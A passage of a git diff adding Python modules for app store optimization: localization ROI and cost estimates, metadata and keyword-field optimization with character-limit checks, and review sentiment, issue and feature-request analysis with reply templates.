is_within_limit, + 'usage_percentage': round((actual_length / limit) * 100, 1) + } + + if not is_within_limit: + validation_results['is_valid'] = False + validation_results['errors'].append( + f"{field} exceeds limit: {actual_length}/{limit} characters" + ) + + # Quality checks + quality_issues = self._check_translation_quality( + translated_metadata, + target_language + ) + + validation_results['quality_checks'] = quality_issues + + if quality_issues: + validation_results['warnings'].extend( + [f"Quality issue: {issue}" for issue in quality_issues] + ) + + return validation_results + + def calculate_localization_roi( + self, + target_markets: List[str], + current_monthly_downloads: int, + localization_cost: float, + expected_lift_percentage: float = 0.15 + ) -> Dict[str, Any]: + """ + Estimate ROI of localization investment. + + Args: + target_markets: List of market codes + current_monthly_downloads: Current monthly downloads + localization_cost: Total cost to localize + expected_lift_percentage: Expected download increase (default 15%) + + Returns: + ROI analysis + """ + # Estimate market-specific lift + market_data = [] + total_expected_lift = 0 + + for market_code in target_markets: + # Find market in priority lists + market_info = None + for tier_name, markets in self.PRIORITY_MARKETS.items(): + for m in markets: + if m['language'] == market_code: + market_info = m + break + + if not market_info: + continue + + # Estimate downloads from this market + market_downloads = int(current_monthly_downloads * market_info['revenue_share']) + expected_increase = int(market_downloads * expected_lift_percentage) + total_expected_lift += expected_increase + + market_data.append({ + 'market': market_info['market'], + 'current_monthly_downloads': market_downloads, + 'expected_increase': expected_increase, + 'revenue_potential': market_info['revenue_share'] + }) + + # Calculate payback period (assuming $2 revenue per download) + revenue_per_download = 2.0 + monthly_additional_revenue = total_expected_lift * revenue_per_download + payback_months = (localization_cost / monthly_additional_revenue) if monthly_additional_revenue > 0 else float('inf') + + return { + 'markets_analyzed': len(market_data), + 'market_breakdown': market_data, + 'total_expected_monthly_lift': total_expected_lift, + 'expected_monthly_revenue_increase': f"${monthly_additional_revenue:,.2f}", + 'localization_cost': f"${localization_cost:,.2f}", + 'payback_period_months': round(payback_months, 1) if payback_months != float('inf') else 'N/A', + 'annual_roi': f"{((monthly_additional_revenue * 12 - localization_cost) / localization_cost * 100):.1f}%" if payback_months != float('inf') else 'Negative', + 'recommendation': self._generate_roi_recommendation(payback_months) + } + + def _estimate_translation_cost(self, language: str) -> Dict[str, float]: + """Estimate translation cost for a language.""" + # Base cost per word (professional translation) + base_cost_per_word = 0.12 + + # Language-specific multipliers + multipliers = { + 'zh-CN': 1.5, # Chinese requires specialist + 'ja-JP': 1.5, # Japanese requires specialist + 'ko-KR': 1.3, + 'ar-SA': 1.4, # Arabic (right-to-left) + 'default': 1.0 + } + + multiplier = multipliers.get(language, multipliers['default']) + + # Typical word counts for app store metadata + typical_word_counts = { + 'title': 5, + 'subtitle': 5, + 'description': 300, + 'keywords': 20, + 'screenshots': 50 # Caption text + } + + total_words = sum(typical_word_counts.values()) + estimated_cost = total_words * base_cost_per_word * multiplier + + return { + 'cost_per_word': base_cost_per_word * multiplier, + 'total_words': total_words, + 'estimated_cost': round(estimated_cost, 2) + } + + def _estimate_total_localization_cost(self, markets: List[Dict[str, Any]]) -> str: + """Estimate total cost for multiple markets.""" + total = sum(m['estimated_translation_cost']['estimated_cost'] for m in markets) + return f"${total:,.2f}" + + def _prioritize_implementation(self, markets: List[Dict[str, Any]]) -> List[Dict[str, str]]: + """Create phased implementation plan.""" + phases = [] + + # Phase 1: Top revenue markets + phase_1 = [m for m in markets[:3]] + if phase_1: + phases.append({ + 'phase': 'Phase 1 (First 30 days)', + 'markets': ', '.join([m['market'] for m in phase_1]), + 'rationale': 'Highest revenue potential markets' + }) + + # Phase 2: Remaining tier 1 and top tier 2 + phase_2 = [m for m in markets[3:6]] + if phase_2: + phases.append({ + 'phase': 'Phase 2 (Days 31-60)', + 'markets': ', '.join([m['market'] for m in phase_2]), + 'rationale': 'Strong revenue markets with good ROI' + }) + + # Phase 3: Remaining markets + phase_3 = [m for m in markets[6:]] + if phase_3: + phases.append({ + 'phase': 'Phase 3 (Days 61-90)', + 'markets': ', '.join([m['market'] for m in phase_3]), + 'rationale': 'Complete global coverage' + }) + + return phases + + def _get_translation_notes( + self, + field: str, + target_language: str, + estimated_length: int, + limit: int + ) -> List[str]: + """Get translation-specific notes for field.""" + notes = [] + + if estimated_length > limit: + notes.append(f"Condensing required - aim for {limit - 10} characters to allow buffer") + + if field == 'title' and target_language.startswith('zh'): + notes.append("Chinese characters convey more meaning - may need fewer characters") + + if field == 'keywords' and target_language.startswith('de'): + notes.append("German compound words may be longer - prioritize shorter keywords") + + return notes + + def _generate_translation_recommendations( + self, + target_language: str, + warnings: List[str] + ) -> List[str]: + """Generate translation recommendations.""" + recommendations = [ + "Use professional native speakers for translation", + "Test translations with local users before finalizing" + ] + + if warnings: + recommendations.append("Work with translator to condense text while preserving meaning") + + if target_language.startswith('zh') or target_language.startswith('ja'): + recommendations.append("Consider cultural context and local idioms") + + return recommendations + + def _get_cultural_keyword_considerations(self, target_market: str) -> Dict[str, List[str]]: + """Get cultural considerations for keywords by market.""" + # Simplified example - real implementation would be more comprehensive + considerations = { + 'China': ['Avoid politically sensitive terms', 'Consider local alternatives to blocked services'], + 'Japan': ['Honorific language important', 'Technical terms often use katakana'], + 'Germany': ['Privacy and security terms resonate', 'Efficiency and quality valued'], + 'France': ['French language protection laws', 'Prefer French terms over English'], + 'default': ['Research local search behavior', 'Test with native speakers'] + } + + return considerations.get(target_market, considerations['default']) + + def _get_search_patterns(self, target_market: str) -> List[str]: + """Get search pattern notes for market.""" + patterns = { + 'China': ['Use both simplified characters and romanization', 'Brand names often romanized'], + 'Japan': ['Mix of kanji, hiragana, and katakana', 'English words common in tech'], + 'Germany': ['Compound words common', 'Specific technical terminology'], + 'default': ['Research local search trends', 'Monitor competitor keywords'] + } + + return patterns.get(target_market, patterns['default']) + + def _determine_adaptation_strategy(self, keyword: str, target_market: str) -> str: + """Determine how to adapt keyword for market.""" + # Simplified logic + if target_market in ['China', 'Japan', 'Korea']: + return 'full_localization' # Complete translation needed + elif target_market in ['Germany', 'France', 'Spain']: + return 'adapt_and_translate' # Some adaptation needed + else: + return 'direct_translation' # Direct translation usually sufficient + + def _check_translation_quality( + self, + translated_metadata: Dict[str, str], + target_language: str + ) -> List[str]: + """Basic quality checks for translations.""" + issues = [] + + # Check for untranslated placeholders + for field, text in translated_metadata.items(): + if '[' in text or '{' in text or 'TODO' in text.upper(): + issues.append(f"{field} contains placeholder text") + + # Check for excessive punctuation + for field, text in translated_metadata.items(): + if text.count('!') > 3: + issues.append(f"{field} has excessive exclamation marks") + + return issues + + def _generate_roi_recommendation(self, payback_months: float) -> str: + """Generate ROI recommendation.""" + if payback_months <= 3: + return "Excellent ROI - proceed immediately" + elif payback_months <= 6: + return "Good ROI - recommended investment" + elif payback_months <= 12: + return "Moderate ROI - consider if strategic market" + else: + return "Low ROI - reconsider or focus on higher-priority markets first" + + +def plan_localization_strategy( + current_market: str, + budget_level: str, + monthly_downloads: int +) -> Dict[str, Any]: + """ + Convenience function to plan localization strategy. + + Args: + current_market: Current market code + budget_level: Budget level + monthly_downloads: Current monthly downloads + + Returns: + Complete localization plan + """ + helper = LocalizationHelper() + + target_markets = helper.identify_target_markets( + current_market=current_market, + budget_level=budget_level + ) + + # Extract market codes + market_codes = [m['language'] for m in target_markets['recommended_markets']] + + # Calculate ROI + estimated_cost = float(target_markets['estimated_cost'].replace('$', '').replace(',', '')) + + roi_analysis = helper.calculate_localization_roi( + market_codes, + monthly_downloads, + estimated_cost + ) + + return { + 'target_markets': target_markets, + 'roi_analysis': roi_analysis + } diff --git a/skills/app-store-optimization/metadata_optimizer.py b/skills/app-store-optimization/metadata_optimizer.py new file mode 100644 index 00000000..7b506140 --- /dev/null +++ b/skills/app-store-optimization/metadata_optimizer.py @@ -0,0 +1,581 @@ +""" +Metadata optimization module for App Store Optimization. +Optimizes titles, descriptions, and keyword fields with platform-specific character limit validation. +""" + +from typing import Dict, List, Any, Optional, Tuple +import re + + +class MetadataOptimizer: + """Optimizes app store metadata for maximum discoverability and conversion.""" + + # Platform-specific character limits + CHAR_LIMITS = { + 'apple': { + 'title': 30, + 'subtitle': 30, + 'promotional_text': 170, + 'description': 4000, + 'keywords': 100, + 'whats_new': 4000 + }, + 'google': { + 'title': 50, + 'short_description': 80, + 'full_description': 4000 + } + } + + def __init__(self, platform: str = 'apple'): + """ + Initialize metadata optimizer. + + Args: + platform: 'apple' or 'google' + """ + if platform not in ['apple', 'google']: + raise ValueError("Platform must be 'apple' or 'google'") + + self.platform = platform + self.limits = self.CHAR_LIMITS[platform] + + def optimize_title( + self, + app_name: str, + target_keywords: List[str], + include_brand: bool = True + ) -> Dict[str, Any]: + """ + Optimize app title with keyword integration. + + Args: + app_name: Your app's brand name + target_keywords: List of keywords to potentially include + include_brand: Whether to include brand name + + Returns: + Optimized title options with analysis + """ + max_length = self.limits['title'] + + title_options = [] + + # Option 1: Brand name only + if include_brand: + option1 = app_name[:max_length] + title_options.append({ + 'title': option1, + 'length': len(option1), + 'remaining_chars': max_length - len(option1), + 'keywords_included': [], + 'strategy': 'brand_only', + 'pros': ['Maximum brand recognition', 'Clean and simple'], + 'cons': ['No keyword targeting', 'Lower discoverability'] + }) + + # Option 2: Brand + Primary Keyword + if target_keywords: + primary_keyword = target_keywords[0] + option2 = self._build_title_with_keywords( + app_name, + [primary_keyword], + max_length + ) + if option2: + title_options.append({ + 'title': option2, + 'length': len(option2), + 'remaining_chars': max_length - len(option2), + 'keywords_included': [primary_keyword], + 'strategy': 'brand_plus_primary', + 'pros': ['Targets main keyword', 'Maintains brand identity'], + 'cons': ['Limited keyword coverage'] + }) + + # Option 3: Brand + Multiple Keywords (if space allows) + if len(target_keywords) > 1: + option3 = self._build_title_with_keywords( + app_name, + target_keywords[:2], + max_length + ) + if option3: + title_options.append({ + 'title': option3, + 'length': len(option3), + 'remaining_chars': max_length - len(option3), + 'keywords_included': target_keywords[:2], + 'strategy': 'brand_plus_multiple', + 'pros': ['Multiple keyword targets', 'Better discoverability'], + 'cons': ['May feel cluttered', 'Less brand focus'] + }) + + # Option 4: Keyword-first approach (for new apps) + if target_keywords and not include_brand: + option4 = " ".join(target_keywords[:2])[:max_length] + title_options.append({ + 'title': option4, + 'length': len(option4), + 'remaining_chars': max_length - len(option4), + 'keywords_included': target_keywords[:2], + 'strategy': 'keyword_first', + 'pros': ['Maximum SEO benefit', 'Clear functionality'], + 'cons': ['No brand recognition', 'Generic appearance'] + }) + + return { + 'platform': self.platform, + 'max_length': max_length, + 'options': title_options, + 'recommendation': self._recommend_title_option(title_options) + } + + def optimize_description( + self, + app_info: Dict[str, Any], + target_keywords: List[str], + description_type: str = 'full' + ) -> Dict[str, Any]: + """ + Optimize app description with keyword integration and conversion focus. + + Args: + app_info: Dict with 'name', 'key_features', 'unique_value', 'target_audience' + target_keywords: List of keywords to integrate naturally + description_type: 'full', 'short' (Google), 'subtitle' (Apple) + + Returns: + Optimized description with analysis + """ + if description_type == 'short' and self.platform == 'google': + return self._optimize_short_description(app_info, target_keywords) + elif description_type == 'subtitle' and self.platform == 'apple': + return self._optimize_subtitle(app_info, target_keywords) + else: + return self._optimize_full_description(app_info, target_keywords) + + def optimize_keyword_field( + self, + target_keywords: List[str], + app_title: str = "", + app_description: str = "" + ) -> Dict[str, Any]: + """ + Optimize Apple's 100-character keyword field. + + Rules: + - No spaces between commas + - No plural forms if singular exists + - No duplicates + - Keywords in title/subtitle are already indexed + + Args: + target_keywords: List of target keywords + app_title: Current app title (to avoid duplication) + app_description: Current description (to check coverage) + + Returns: + Optimized keyword field (comma-separated, no spaces) + """ + if self.platform != 'apple': + return {'error': 'Keyword field optimization only applies to Apple App Store'} + + max_length = self.limits['keywords'] + + # Extract words already in title (these don't need to be in keyword field) + title_words = set(app_title.lower().split()) if app_title else set() + + # Process keywords + processed_keywords = [] + for keyword in target_keywords: + keyword_lower = keyword.lower().strip() + + # Skip if already in title + if keyword_lower in title_words: + continue + + # Remove duplicates and process + words = keyword_lower.split() + for word in words: + if word not in processed_keywords and word not in title_words: + processed_keywords.append(word) + + # Remove plurals if singular exists + deduplicated = self._remove_plural_duplicates(processed_keywords) + + # Build keyword field within 100 character limit + keyword_field = self._build_keyword_field(deduplicated, max_length) + + # Calculate keyword density in description + density = self._calculate_coverage(target_keywords, app_description) + + return { + 'keyword_field': keyword_field, + 'length': len(keyword_field), + 'remaining_chars': max_length - len(keyword_field), + 'keywords_included': keyword_field.split(','), + 'keywords_count': len(keyword_field.split(',')), + 'keywords_excluded': [kw for kw in target_keywords if kw.lower() not in keyword_field], + 'description_coverage': density, + 'optimization_tips': [ + 'Keywords in title are auto-indexed - no need to repeat', + 'Use singular forms only (Apple indexes plurals automatically)', + 'No spaces between commas to maximize character usage', + 'Update keyword field with each app update to test variations' + ] + } + + def validate_character_limits( + self, + metadata: Dict[str, str] + ) -> Dict[str, Any]: + """ + Validate all metadata fields against platform character limits. + + Args: + metadata: Dictionary of field_name: value + + Returns: + Validation report with errors and warnings + """ + validation_results = { + 'is_valid': True, + 'errors': [], + 'warnings': [], + 'field_status': {} + } + + for field_name, value in metadata.items(): + if field_name not in self.limits: + validation_results['warnings'].append( + f"Unknown field '{field_name}' for {self.platform} platform" + ) + continue + + max_length = self.limits[field_name] + actual_length = len(value) + remaining = max_length - actual_length + + field_status = { + 'value': value, + 'length': actual_length, + 'limit': max_length, + 'remaining': remaining, + 'is_valid': actual_length <= max_length, + 'usage_percentage': round((actual_length / max_length) * 100, 1) + } + + validation_results['field_status'][field_name] = field_status + + if actual_length > max_length: + validation_results['is_valid'] = False + validation_results['errors'].append( + f"'{field_name}' exceeds limit: {actual_length}/{max_length} chars" + ) + elif remaining > max_length * 0.2: # More than 20% unused + validation_results['warnings'].append( + f"'{field_name}' under-utilizes space: {remaining} chars remaining" + ) + + return validation_results + + def calculate_keyword_density( + self, + text: str, + target_keywords: List[str] + ) -> Dict[str, Any]: + """ + Calculate keyword density in text. + + Args: + text: Text to analyze + target_keywords: Keywords to check + + Returns: + Density analysis + """ + text_lower = text.lower() + total_words = len(text_lower.split()) + + keyword_densities = {} + for keyword in target_keywords: + keyword_lower = keyword.lower() + count = text_lower.count(keyword_lower) + density = (count / total_words * 100) if total_words > 0 else 0 + + keyword_densities[keyword] = { + 'occurrences': count, + 'density_percentage': round(density, 2), + 'status': self._assess_density(density) + } + + # Overall assessment + total_keyword_occurrences = sum(kw['occurrences'] for kw in keyword_densities.values()) + overall_density = (total_keyword_occurrences / total_words * 100) if total_words > 0 else 0 + + return { + 'total_words': total_words, + 'keyword_densities': keyword_densities, + 'overall_keyword_density': round(overall_density, 2), + 'assessment': self._assess_overall_density(overall_density), + 'recommendations': self._generate_density_recommendations(keyword_densities) + } + + def _build_title_with_keywords( + self, + app_name: str, + keywords: List[str], + max_length: int + ) -> Optional[str]: + """Build title combining app name and keywords within limit.""" + separators = [' - ', ': ', ' | '] + + for sep in separators: + for kw in keywords: + title = f"{app_name}{sep}{kw}" + if len(title) <= max_length: + return title + + return None + + def _optimize_short_description( + self, + app_info: Dict[str, Any], + target_keywords: List[str] + ) -> Dict[str, Any]: + """Optimize Google Play short description (80 chars).""" + max_length = self.limits['short_description'] + + # Focus on unique value proposition with primary keyword + unique_value = app_info.get('unique_value', '') + primary_keyword = target_keywords[0] if target_keywords else '' + + # Template: [Primary Keyword] - [Unique Value] + short_desc = f"{primary_keyword.title()} - {unique_value}"[:max_length] + + return { + 'short_description': short_desc, + 'length': len(short_desc), + 'remaining_chars': max_length - len(short_desc), + 'keywords_included': [primary_keyword] if primary_keyword in short_desc.lower() else [], + 'strategy': 'keyword_value_proposition' + } + + def _optimize_subtitle( + self, + app_info: Dict[str, Any], + target_keywords: List[str] + ) -> Dict[str, Any]: + """Optimize Apple App Store subtitle (30 chars).""" + max_length = self.limits['subtitle'] + + # Very concise - primary keyword or key feature + primary_keyword = target_keywords[0] if target_keywords else '' + key_feature = app_info.get('key_features', [''])[0] if app_info.get('key_features') else '' + + options = [ + primary_keyword[:max_length], + key_feature[:max_length], + f"{primary_keyword} App"[:max_length] + ] + + return { + 'subtitle_options': [opt for opt in options if opt], + 'max_length': max_length, + 'recommendation': options[0] if options else '' + } + + def _optimize_full_description( + self, + app_info: Dict[str, Any], + target_keywords: List[str] + ) -> Dict[str, Any]: + """Optimize full app description (4000 chars for both platforms).""" + max_length = self.limits.get('description', self.limits.get('full_description', 4000)) + + # Structure: Hook → Features → Benefits → Social Proof → CTA + sections = [] + + # Hook (with primary keyword) + primary_keyword = target_keywords[0] if target_keywords else '' + unique_value = app_info.get('unique_value', '') + hook = f"{unique_value} {primary_keyword.title()} that helps you achieve more.\n\n" + sections.append(hook) + + # Features (with keywords naturally integrated) + features = app_info.get('key_features', []) + if features: + sections.append("KEY FEATURES:\n") + for i, feature in enumerate(features[:5], 1): + # Integrate keywords naturally + feature_text = f"• {feature}" + if i <= len(target_keywords): + keyword = target_keywords[i-1] + if keyword.lower() not in feature.lower(): + feature_text = f"• {feature} with {keyword}" + sections.append(f"{feature_text}\n") + sections.append("\n") + + # Benefits + target_audience = app_info.get('target_audience', 'users') + sections.append(f"PERFECT FOR:\n{target_audience}\n\n") + + # Social proof placeholder + sections.append("WHY USERS LOVE US:\n") + sections.append("Join thousands of satisfied users who have transformed their workflow.\n\n") + + # CTA + sections.append("Download now and start experiencing the difference!") + + # Combine and validate length + full_description = "".join(sections) + if len(full_description) > max_length: + full_description = full_description[:max_length-3] + "..." + + # Calculate keyword density + density = self.calculate_keyword_density(full_description, target_keywords) + + return { + 'full_description': full_description, + 'length': len(full_description), + 'remaining_chars': max_length - len(full_description), + 'keyword_analysis': density, + 'structure': { + 'has_hook': True, + 'has_features': len(features) > 0, + 'has_benefits': True, + 'has_cta': True + } + } + + def _remove_plural_duplicates(self, keywords: List[str]) -> List[str]: + """Remove plural forms if singular exists.""" + deduplicated = [] + singular_set = set() + + for keyword in keywords: + if keyword.endswith('s') and len(keyword) > 1: + singular = keyword[:-1] + if singular not in singular_set: + deduplicated.append(singular) + singular_set.add(singular) + else: + if keyword not in singular_set: + deduplicated.append(keyword) + singular_set.add(keyword) + + return deduplicated + + def _build_keyword_field(self, keywords: List[str], max_length: int) -> str: + """Build comma-separated keyword field within character limit.""" + keyword_field = "" + + for keyword in keywords: + test_field = f"{keyword_field},{keyword}" if keyword_field else keyword + if len(test_field) <= max_length: + keyword_field = test_field + else: + break + + return keyword_field + + def _calculate_coverage(self, keywords: List[str], text: str) -> Dict[str, int]: + """Calculate how many keywords are covered in text.""" + text_lower = text.lower() + coverage = {} + + for keyword in keywords: + coverage[keyword] = text_lower.count(keyword.lower()) + + return coverage + + def _assess_density(self, density: float) -> str: + """Assess individual keyword density.""" + if density < 0.5: + return "too_low" + elif density <= 2.5: + return "optimal" + else: + return "too_high" + + def _assess_overall_density(self, density: float) -> str: + """Assess overall keyword density.""" + if density < 2: + return "Under-optimized: Consider adding more keyword variations" + elif density <= 5: + return "Optimal: Good keyword integration without stuffing" + elif density <= 8: + return "High: Approaching keyword stuffing - reduce keyword usage" + else: + return "Too High: Keyword stuffing detected - rewrite for natural flow" + + def _generate_density_recommendations( + self, + keyword_densities: Dict[str, Dict[str, Any]] + ) -> List[str]: + """Generate recommendations based on keyword density analysis.""" + recommendations = [] + + for keyword, data in keyword_densities.items(): + if data['status'] == 'too_low': + recommendations.append( + f"Increase usage of '{keyword}' - currently only {data['occurrences']} times" + ) + elif data['status'] == 'too_high': + recommendations.append( + f"Reduce usage of '{keyword}' - appears {data['occurrences']} times (keyword stuffing risk)" + ) + + if not recommendations: + recommendations.append("Keyword density is well-balanced") + + return recommendations + + def _recommend_title_option(self, options: List[Dict[str, Any]]) -> str: + """Recommend best title option based on strategy.""" + if not options: + return "No valid options available" + + # Prefer brand_plus_primary for established apps + for option in options: + if option['strategy'] == 'brand_plus_primary': + return f"Recommended: '{option['title']}' (Balance of brand and SEO)" + + # Fallback to first option + return f"Recommended: '{options[0]['title']}' ({options[0]['strategy']})" + + +def optimize_app_metadata( + platform: str, + app_info: Dict[str, Any], + target_keywords: List[str] +) -> Dict[str, Any]: + """ + Convenience function to optimize all metadata fields. + + Args: + platform: 'apple' or 'google' + app_info: App information dictionary + target_keywords: Target keywords list + + Returns: + Complete metadata optimization package + """ + optimizer = MetadataOptimizer(platform) + + return { + 'platform': platform, + 'title': optimizer.optimize_title( + app_info['name'], + target_keywords + ), + 'description': optimizer.optimize_description( + app_info, + target_keywords, + 'full' + ), + 'keyword_field': optimizer.optimize_keyword_field( + target_keywords + ) if platform == 'apple' else None + } diff --git a/skills/app-store-optimization/review_analyzer.py b/skills/app-store-optimization/review_analyzer.py new file mode 100644 index 00000000..4ce124d5 --- /dev/null +++ b/skills/app-store-optimization/review_analyzer.py @@ -0,0 +1,714 @@ +""" +Review analysis module for App Store Optimization. +Analyzes user reviews for sentiment, issues, and feature requests. +""" + +from typing import Dict, List, Any, Optional, Tuple +from collections import Counter +import re + + +class ReviewAnalyzer: + """Analyzes user reviews for actionable insights.""" + + # Sentiment keywords + POSITIVE_KEYWORDS = [ + 'great', 'awesome', 'excellent', 'amazing', 'love', 'best', 'perfect', + 'fantastic', 'wonderful', 'brilliant', 'outstanding', 'superb' + ] + + NEGATIVE_KEYWORDS = [ + 'bad', 'terrible', 'awful', 'horrible', 'hate', 'worst', 'useless', + 'broken', 'crash', 'bug', 'slow', 'disappointing', 'frustrating' + ] + + # Issue indicators + ISSUE_KEYWORDS = [ + 'crash', 'bug', 'error', 'broken', 'not working', 'doesnt work', + 'freezes', 'slow', 'laggy', 'glitch', 'problem', 'issue', 'fail' + ] + + # Feature request indicators + FEATURE_REQUEST_KEYWORDS = [ + 'wish', 'would be nice', 'should add', 'need', 'want', 'hope', + 'please add', 'missing', 'lacks', 'feature request' + ] + + def __init__(self, app_name: str): + """ + Initialize review analyzer. + + Args: + app_name: Name of the app + """ + self.app_name = app_name + self.reviews = [] + self.analysis_cache = {} + + def analyze_sentiment( + self, + reviews: List[Dict[str, Any]] + ) -> Dict[str, Any]: + """ + Analyze sentiment across reviews. + + Args: + reviews: List of review dicts with 'text', 'rating', 'date' + + Returns: + Sentiment analysis summary + """ + self.reviews = reviews + + sentiment_counts = { + 'positive': 0, + 'neutral': 0, + 'negative': 0 + } + + detailed_sentiments = [] + + for review in reviews: + text = review.get('text', '').lower() + rating = review.get('rating', 3) + + # Calculate sentiment score + sentiment_score = self._calculate_sentiment_score(text, rating) + sentiment_category = self._categorize_sentiment(sentiment_score) + + sentiment_counts[sentiment_category] += 1 + + detailed_sentiments.append({ + 'review_id': review.get('id', ''), + 'rating': rating, + 'sentiment_score': sentiment_score, + 'sentiment': sentiment_category, + 'text_preview': text[:100] + '...' if len(text) > 100 else text + }) + + # Calculate percentages + total = len(reviews) + sentiment_distribution = { + 'positive': round((sentiment_counts['positive'] / total) * 100, 1) if total > 0 else 0, + 'neutral': round((sentiment_counts['neutral'] / total) * 100, 1) if total > 0 else 0, + 'negative': round((sentiment_counts['negative'] / total) * 100, 1) if total > 0 else 0 + } + + # Calculate average rating + avg_rating = sum(r.get('rating', 0) for r in reviews) / total if total > 0 else 0 + + return { + 'total_reviews_analyzed': total, + 'average_rating': round(avg_rating, 2), + 'sentiment_distribution': sentiment_distribution, + 'sentiment_counts': sentiment_counts, + 'sentiment_trend': self._assess_sentiment_trend(sentiment_distribution), + 'detailed_sentiments': detailed_sentiments[:50] # Limit output + } + + def extract_common_themes( + self, + reviews: List[Dict[str, Any]], + min_mentions: int = 3 + ) -> Dict[str, Any]: + """ + Extract frequently mentioned themes and topics. + + Args: + reviews: List of review dicts + min_mentions: Minimum mentions to be considered common + + Returns: + Common themes analysis + """ + # Extract all words from reviews + all_words = [] + all_phrases = [] + + for review in reviews: + text = review.get('text', '').lower() + # Clean text + text = re.sub(r'[^\w\s]', ' ', text) + words = text.split() + + # Filter out common words + stop_words = { + 'the', 'and', 'for', 'with', 'this', 'that', 'from', 'have', + 'app', 'apps', 'very', 'really', 'just', 'but', 'not', 'you' + } + words = [w for w in words if w not in stop_words and len(w) > 3] + + all_words.extend(words) + + # Extract 2-3 word phrases + for i in range(len(words) - 1): + phrase = f"{words[i]} {words[i+1]}" + all_phrases.append(phrase) + + # Count frequency + word_freq = Counter(all_words) + phrase_freq = Counter(all_phrases) + + # Filter by min_mentions + common_words = [ + {'word': word, 'mentions': count} + for word, count in word_freq.most_common(30) + if count >= min_mentions + ] + + common_phrases = [ + {'phrase': phrase, 'mentions': count} + for phrase, count in phrase_freq.most_common(20) + if count >= min_mentions + ] + + # Categorize themes + themes = self._categorize_themes(common_words, common_phrases) + + return { + 'common_words': common_words, + 'common_phrases': common_phrases, + 'identified_themes': themes, + 'insights': self._generate_theme_insights(themes) + } + + def identify_issues( + self, + reviews: List[Dict[str, Any]], + rating_threshold: int = 3 + ) -> Dict[str, Any]: + """ + Identify bugs, crashes, and other issues from reviews. + + Args: + reviews: List of review dicts + rating_threshold: Only analyze reviews at or below this rating + + Returns: + Issue identification report + """ + issues = [] + + for review in reviews: + rating = review.get('rating', 5) + if rating > rating_threshold: + continue + + text = review.get('text', '').lower() + + # Check for issue keywords + mentioned_issues = [] + for keyword in self.ISSUE_KEYWORDS: + if keyword in text: + mentioned_issues.append(keyword) + + if mentioned_issues: + issues.append({ + 'review_id': review.get('id', ''), + 'rating': rating, + 'date': review.get('date', ''), + 'issue_keywords': mentioned_issues, + 'text': text[:200] + '...' if len(text) > 200 else text + }) + + # Group by issue type + issue_frequency = Counter() + for issue in issues: + for keyword in issue['issue_keywords']: + issue_frequency[keyword] += 1 + + # Categorize issues + categorized_issues = self._categorize_issues(issues) + + # Calculate issue severity + severity_scores = self._calculate_issue_severity( + categorized_issues, + len(reviews) + ) + + return { + 'total_issues_found': len(issues), + 'issue_frequency': dict(issue_frequency.most_common(15)), + 'categorized_issues': categorized_issues, + 'severity_scores': severity_scores, + 'top_issues': self._rank_issues_by_severity(severity_scores), + 'recommendations': self._generate_issue_recommendations( + categorized_issues, + severity_scores + ) + } + + def find_feature_requests( + self, + reviews: List[Dict[str, Any]] + ) -> Dict[str, Any]: + """ + Extract feature requests and desired improvements. + + Args: + reviews: List of review dicts + + Returns: + Feature request analysis + """ + feature_requests = [] + + for review in reviews: + text = review.get('text', '').lower() + rating = review.get('rating', 3) + + # Check for feature request indicators + is_feature_request = any( + keyword in text + for keyword in self.FEATURE_REQUEST_KEYWORDS + ) + + if is_feature_request: + # Extract the specific request + request_text = self._extract_feature_request_text(text) + + feature_requests.append({ + 'review_id': review.get('id', ''), + 'rating': rating, + 'date': review.get('date', ''), + 'request_text': request_text, + 'full_review': text[:200] + '...' if len(text) > 200 else text + }) + + # Cluster similar requests + clustered_requests = self._cluster_feature_requests(feature_requests) + + # Prioritize based on frequency and rating context + prioritized_requests = self._prioritize_feature_requests(clustered_requests) + + return { + 'total_feature_requests': len(feature_requests), + 'clustered_requests': clustered_requests, + 'prioritized_requests': prioritized_requests, + 'implementation_recommendations': self._generate_feature_recommendations( + prioritized_requests + ) + } + + def track_sentiment_trends( + self, + reviews_by_period: Dict[str, List[Dict[str, Any]]] + ) -> Dict[str, Any]: + """ + Track sentiment changes over time. + + Args: + reviews_by_period: Dict of period_name: reviews + + Returns: + Trend analysis + """ + trends = [] + + for period, reviews in reviews_by_period.items(): + sentiment = self.analyze_sentiment(reviews) + + trends.append({ + 'period': period, + 'total_reviews': len(reviews), + 'average_rating': sentiment['average_rating'], + 'positive_percentage': sentiment['sentiment_distribution']['positive'], + 'negative_percentage': sentiment['sentiment_distribution']['negative'] + }) + + # Calculate trend direction + if len(trends) >= 2: + first_period = trends[0] + last_period = trends[-1] + + rating_change = last_period['average_rating'] - first_period['average_rating'] + sentiment_change = last_period['positive_percentage'] - first_period['positive_percentage'] + + trend_direction = self._determine_trend_direction( + rating_change, + sentiment_change + ) + else: + trend_direction = 'insufficient_data' + + return { + 'periods_analyzed': len(trends), + 'trend_data': trends, + 'trend_direction': trend_direction, + 'insights': self._generate_trend_insights(trends, trend_direction) + } + + def generate_response_templates( + self, + issue_category: str + ) -> List[Dict[str, str]]: + """ + Generate response templates for common review scenarios. + + Args: + issue_category: Category of issue ('crash', 'feature_request', 'positive', etc.) + + Returns: + Response templates + """ + templates = { + 'crash': [ + { + 'scenario': 'App crash reported', + 'template': "Thank you for bringing this to our attention. We're sorry you experienced a crash. " + "Our team is investigating this issue. Could you please share more details about when " + "this occurred (device model, iOS/Android version) by contacting support@[company].com? " + "We're committed to fixing this quickly." + }, + { + 'scenario': 'Crash already fixed', + 'template': "Thank you for your feedback. We've identified and fixed this crash issue in version [X.X]. " + "Please update to the latest version. If the problem persists, please reach out to " + "support@[company].com and we'll help you directly." + } + ], + 'bug': [ + { + 'scenario': 'Bug reported', + 'template': "Thanks for reporting this bug. We take these issues seriously. Our team is looking into it " + "and we'll have a fix in an upcoming update. We appreciate your patience and will notify you " + "when it's resolved." + } + ], + 'feature_request': [ + { + 'scenario': 'Feature request received', + 'template': "Thank you for this suggestion! We're always looking to improve [app_name]. We've added your " + "request to our roadmap and will consider it for a future update. Follow us @[social] for " + "updates on new features." + }, + { + 'scenario': 'Feature already planned', + 'template': "Great news! This feature is already on our roadmap and we're working on it. Stay tuned for " + "updates in the coming months. Thanks for your feedback!" + } + ], + 'positive': [ + { + 'scenario': 'Positive review', + 'template': "Thank you so much for your kind words! We're thrilled that you're enjoying [app_name]. " + "Reviews like yours motivate our team to keep improving. If you ever have suggestions, " + "we'd love to hear them!" + } + ], + 'negative_general': [ + { + 'scenario': 'General complaint', + 'template': "We're sorry to hear you're not satisfied with your experience. We'd like to make this right. " + "Please contact us at support@[company].com so we can understand the issue better and help " + "you directly. Thank you for giving us a chance to improve." + } + ] + } + + return templates.get(issue_category, templates['negative_general']) + + def 